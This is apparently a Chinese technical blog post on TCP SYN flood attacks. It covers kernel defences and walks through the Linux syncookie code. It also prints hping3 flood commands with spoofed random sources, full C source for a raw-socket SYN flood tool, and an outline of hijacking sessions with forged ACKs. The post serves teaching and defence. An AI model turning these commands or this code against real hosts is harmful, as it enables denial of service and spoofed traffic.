閱讀207 返回首頁    go 微軟 go windows


扯談網絡編程之Tcp SYN flood洪水攻擊

簡介

TCP協議要經過三次握手才能建立連接:

(from wiki)


於是出現了對於握手過程進行的攻擊。攻擊者發送大量的SYN包,服務器回應(SYN+ACK)包,但是攻擊者不回應ACK包,這樣的話,服務器不知道(SYN+ACK)是否發送成功,默認情況下會重試5次(tcp_syn_retries)。這樣的話,對於服務器的內存,帶寬都有很大的消耗。攻擊者如果處於公網,可以偽造IP的話,對於服務器就很難根據IP來判斷攻擊者,給防護帶來很大的困難。

攻與防

攻擊者角度

從攻擊者的角度來看,有兩個地方可以提高服務器防禦的難度的:

  • 變換端口
  • 偽造IP

變換端口很容易做到,攻擊者可以使用任意端口。

攻擊者如果是隻有內網IP,是沒辦法偽造IP的,因為偽造的SYN包會被路由拋棄。攻擊者如果是有公網IP,則有可能偽造IP,發出SYN包。(TODO,待更多驗證)

hping3

hping3是一個很有名的網絡安全工具,使用它可以很容易構造各種協議包。

用下麵的命令可以很容易就發起SYN攻擊:

sudo hping3 --flood -S -p 9999  x.x.x.x
#random source address
sudo hping3 --flood -S --rand-source -p 9999  x.x.x.x

--flood 是不間斷發包的意思

-S         是SYN包的意思

更多的選項,可以man hping3 查看文檔,有詳細的說明。

如果是條件允許,可以偽造IP地址的話,可以用--rand-source參數來偽造。

我在實際測試的過程中,可以偽造IP,也可以發送出去,但是服務器沒有回應,從本地路由器的統計數據可以看出是路由器把包給丟棄掉了。

我用兩個美國的主機來測試,使用

sudo hping3 --flood -S  -p 9999  x.x.x.x

發現,實際上攻擊效果有限,隻有網絡使用上漲了,服務器的cpu,內存使用都沒有什麼變化:


為什麼會這樣呢?下麵再解析。

防禦者角度

當可能遇到SYN flood攻擊時,syslog,/var/log/syslog裏可能會出現下麵的日誌:

kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies.  Check SNMP counters.
這個也有可能是SNMP協議誤報,下麵再解析。

從防禦者的角度來看,主要有以下的措施:

  • 內核參數的調優
  • 防火牆禁止掉部分IP

linux內核參數調優主要有下麵三個:

  • 增大tcp_max_syn_backlog
  • 減小tcp_synack_retries
  • 啟用tcp_syncookies

tcp_max_syn_backlog

從字麵上就可以推斷出是什麼意思。在內核裏有個隊列用來存放還沒有確認ACK的客戶端請求,當等待的請求數大於tcp_max_syn_backlog時,後麵的會被丟棄。

所以,適當增大這個值,可以在壓力大的時候提高握手的成功率。手冊裏推薦大於1024。

tcp_synack_retries

這個是三次握手中,服務器回應ACK給客戶端裏,重試的次數。默認是5。顯然攻擊者是不會完成整個三次握手的,因此服務器在發出的ACK包在沒有回應的情況下,會重試發送。當發送者是偽造IP時,服務器的ACK回應自然是無效的。

為了防止服務器做這種無用功,可以把tcp_synack_retries設置為0或者1。因為對於正常的客戶端,如果它接收不到服務器回應的ACK包,它會再次發送SYN包,客戶端還是能正常連接的,隻是可能在某些情況下建立連接的速度變慢了一點。

tcp_syncookies

根據man tcp手冊,tcp_syncookies是這樣解析的:

       tcp_syncookies (Boolean; since Linux 2.2)
              Enable TCP syncookies.  The kernel must be compiled with CONFIG_SYN_COOKIES.  Send out syncookies  when  the
              syn  backlog  queue  of  a socket overflows.  The syncookies feature attempts to protect a socket from a SYN
              flood attack.  This should be used as a last resort, if at all.  This is a violation of  the  TCP  protocol,
              and conflicts with other areas of TCP such as TCP extensions.  It can cause problems for clients and relays.
              It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
              ured   conditions.    For   recommended   alternatives   see  tcp_max_syn_backlog,  tcp_synack_retries,  and
              tcp_abort_on_overflow.

當半連接的請求數量超過了tcp_max_syn_backlog時,內核就會啟用SYN cookie機製,不再把半連接請求放到隊列裏,而是用SYN cookie來檢驗。

手冊上隻給出了模煳的說明,具體的實現沒有提到。

linux下SYN cookie的實現

查看了linux的代碼(https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c )後,發現linux的實現並不是像wiki上

SYN cookie是非常巧妙地利用了TCP規範來繞過了TCP連接建立過程的驗證過程,從而讓服務器的負載可以大大降低。

在三次握手中,當服務器回應(SYN + ACK)包後,客戶端要回應一個n + 1的ACK到服務器。其中n是服務器自己指定的。當啟用tcp_syncookies時,linux內核生成一個特定的n值,而不並把客戶的連接放到半連接的隊列裏(即沒有存儲任何關於這個連接的信息)。當客戶端提交第三次握手的ACK包時,linux內核取出n值,進行校驗,如果通過,則認為這個是一個合法的連接。

n即ISN(initial sequence number),是一個無符號的32位整數,那麼linux內核是如何把信息記錄到這有限的32位裏,並完成校驗的

首先,TCP連接建立時,雙方要協商好MSS(Maximum segment size),服務器要把客戶端在ACK包裏發過來的MSS值記錄下來。

另外,因為服務器沒有記錄ACK包的任何信息,實際上是繞過了正常的TCP握手的過程,服務器隻能靠客戶端的第三次握手發過來的ACK包來驗證,所以必須要有一個可靠的校驗算法,防止攻擊者偽造ACK,劫持會話。

linux是這樣實現的:

1. 在服務器上有一個60秒的計時器,即每隔60秒,count加一;

2. MSS是這樣子保存起來的,用一個硬編碼的數組,保存起一些MSS值:

static __u16 const msstab[] = {
	536,
	1300,
	1440,	/* 1440, 1452: PPPoE */
	1460,
};

比較客戶發過來的mms,取一個比客戶發過來的值還要小的mms。算法很簡單:

/*
 * Generate a syncookie.  mssp points to the mss, which is returned
 * rounded down to the value encoded in the cookie.
 */
u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th,
			      u16 *mssp)
{
	int mssind;
	const __u16 mss = *mssp;

	for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
		if (mss >= msstab[mssind])
			break;
	*mssp = msstab[mssind];

	return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
				     th->source, th->dest, ntohl(th->seq),
				     mssind);
}

比較客戶發過來的mms,取一個比客戶發過來的值還要小的mms。

真正的算法在這個函數裏:

static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
				   __be16 dport, __u32 sseq, __u32 data)
{
	/*
	 * Compute the secure sequence number.
	 * The output should be:
	 *   HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
	 *      + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
	 * Where sseq is their sequence number and count increases every
	 * minute by 1.
	 * As an extra hack, we add a small "data" value that encodes the
	 * MSS into the second hash value.
	 */
	u32 count = tcp_cookie_time();
	return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
		sseq + (count << COOKIEBITS) +
		((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
		 & COOKIEMASK));
}

data實際上是mss的值對應的數組下標,count是每一分鍾會加1,sseq是客戶端發過來的sequence。

這樣經過hash和一些加法,得到了一個ISN值,其中裏記錄了這個連接合適的MSS值。


當接收到客戶端發過來的第三次握手的ACK包時,反向檢查即可:
/*
 * Check if a ack sequence number is a valid syncookie.
 * Return the decoded mss if it is, or 0 if not.
 */
int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th,
		      u32 cookie)
{
	__u32 seq = ntohl(th->seq) - 1;
	__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
					    th->source, th->dest, seq);


	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
}

先得到原來的seq,再調用check_tcp_syn_cookie函數:
/*
 * This retrieves the small "data" value from the syncookie.
 * If the syncookie is bad, the data returned will be out of
 * range.  This must be checked by the caller.
 *
 * The count value used to generate the cookie must be less than
 * MAX_SYNCOOKIE_AGE minutes in the past.
 * The return value (__u32)-1 if this test fails.
 */
static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
				  __be16 sport, __be16 dport, __u32 sseq)
{
	u32 diff, count = tcp_cookie_time();


	/* Strip away the layers from the cookie */
	cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;


	/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
	diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);
	if (diff >= MAX_SYNCOOKIE_AGE)
		return (__u32)-1;


	return (cookie -
		cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
		& COOKIEMASK;	/* Leaving the data behind */
}

先減去之前的一些值,第一個hash和sseq。然後計算現在的count(每60秒加1的計數器)和之前的發給客戶端,然後客戶端返回過來的count的差:
如果大於MAX_SYNCOOKIE_AGE,即2,即2分鍾。則說明已經超時了。
否則,計算得出之前放進去的mss。這樣內核就認為這個是一個合法的TCP連接,並且得到了一個合適的mss值,這樣就建立起了一個合法的TCP連接。
可以看到SYN cookie機製十分巧妙地不用任何存儲,以略消耗CPU實現了對第三次握手的校驗。

但是有得必有失,ISN裏隻存儲了MSS值,因此,其它的TCP Option都不會生效,這就是為什麼SNMP協議會誤報的原因了。

更強大的攻擊者

SYN cookie雖然十分巧妙,但是也給攻擊者帶了新的攻擊思路。

因為SYN cookie機製不是正常的TCP三次握手。因此攻擊者可以構造一個第三次握手的ACK包,從而劫持會話。

攻擊者的思路很簡單,通過暴力發送大量的偽造的第三次握手的ACK包,因為ISN隻有32位,攻擊者隻要發送全部的ISN數據ACK包,總會有一個可以通過服務器端的校驗。

有的人就會問了,即使攻擊者成功通過了服務器的檢驗,它還是沒有辦法和服務器正常通訊啊,因為服務器回應的包都不會發給攻擊者。

剛開始時,我也有這個疑問,但是TCP允許在第三次握手的ACK包裏帶上後麵請求的數據,這樣可以加快數據的傳輸。所以,比如一個http服務器,攻擊者可以通過在第三次握手的ACK包裏帶上http get/post請求,從而完成攻擊。

所以對於服務器而言,不能隻是依靠IP來校驗合法的請求,還要通過其它的一些方法來加強校驗。比如CSRF等。

值得提醒的是即使是正常的TCP三次握手過程,攻擊者還是可以進行會話劫持的,隻是概率比SYN cookie的情況下要小很多。

詳細的攻擊說明:https://www.91ri.org/7075.html

一個用raw socket SYN flood攻擊的代碼

下麵給出一個tcp syn flood的攻擊的代碼:

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#pragma pack(1)
struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;

	struct tcphdr tcp;
};
#pragma pack()

unsigned short csum(unsigned short *ptr, int nbytes) {
 long sum;
 unsigned short oddbyte;
 short answer;

 sum = 0;
 while (nbytes > 1) {
   sum += *ptr++;
   nbytes -= 2;
 }
 if (nbytes == 1) {
   oddbyte = 0;
   *((u_char*) &oddbyte) = *(u_char*) ptr;
   sum += oddbyte;
 }

 sum = (sum >> 16) + (sum & 0xffff);
 sum = sum + (sum >> 16);
 answer = (short) ~sum;

 return (answer);
}

void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,
		in_addr_t destination, u_int16_t destinationPort) {
	static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };
	bzero(sendBuf, sizeof(sendBuf));

	struct iphdr* ipHeader = (iphdr*) sendBuf;
	struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr));

	ipHeader->version = 4;
	ipHeader->ihl = 5;

	ipHeader->tos = 0;
	ipHeader->tot_len = htons(sizeof(sendBuf));

	ipHeader->id = htons(1);
	ipHeader->frag_off = 0;
	ipHeader->ttl = 254;
	ipHeader->protocol = IPPROTO_TCP;
	ipHeader->check = 0;
	ipHeader->saddr = source;
	ipHeader->daddr = destination;

	ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2);

	//TCP Header
	tcph->source = htons(sourcePort);
	tcph->dest = htons(destinationPort);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5; //sizeof(tcphdr)/4
	tcph->fin = 0;
	tcph->syn = 1;
	tcph->rst = 0;
	tcph->psh = 0;
	tcph->ack = 0;
	tcph->urg = 0;
	tcph->window = htons(512);
	tcph->check = 0;
	tcph->urg_ptr = 0;

	//tcp header checksum
	struct pseudo_header pseudoHeader;
	pseudoHeader.source_address = source;
	pseudoHeader.dest_address = destination;
	pseudoHeader.placeholder = 0;
	pseudoHeader.protocol = IPPROTO_TCP;
	pseudoHeader.tcp_length = htons(sizeof(tcphdr));
	memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));

	tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));

	struct sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_port = htons(sourcePort);
	sin.sin_addr.s_addr = destination;

	ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,
			(struct sockaddr *) &sin, sizeof(sin));
	if (sentLen == -1) {
		perror("sent error");
	}
}

int main(void) {
	//for setsockopt
	int optval = 1;

	//create a raw socket
	int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if (socketfd == -1) {
		perror("create socket:");
		exit(0);
	}
	if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))
			< 0) {
		perror("create socket:");
		exit(0);
	}

	in_addr_t source = inet_addr("192.168.1.100");
	in_addr_t destination = inet_addr("192.168.1.101");
	u_int16_t sourcePort = 1;
	u_int16_t destinationPort = 9999;
	while (1) {
		oneSyn(socketfd, source, sourcePort++, destination,
				destinationPort);
		sourcePort %= 65535;
		sleep(1);
	}

	return 0;
}



總結:

對於SYN flood攻擊,調整下麵三個參數就可以防範絕大部分的攻擊了。

  • 增大tcp_max_syn_backlog
  • 減小tcp_synack_retries
  • 啟用tcp_syncookies
貌似現在的內核默認都是開啟tcp_syncookies的。

參考:

https://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html

man tcp

https://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks

https://en.wikipedia.org/wiki/SYN_cookies

https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c

https://www.91ri.org/7075.html


最後更新:2017-04-03 12:56:39

  上一篇:go 實例介紹Cocos2d-x開關菜單
  下一篇:go 微信之父張小龍:怎樣做簡單的產品經理?十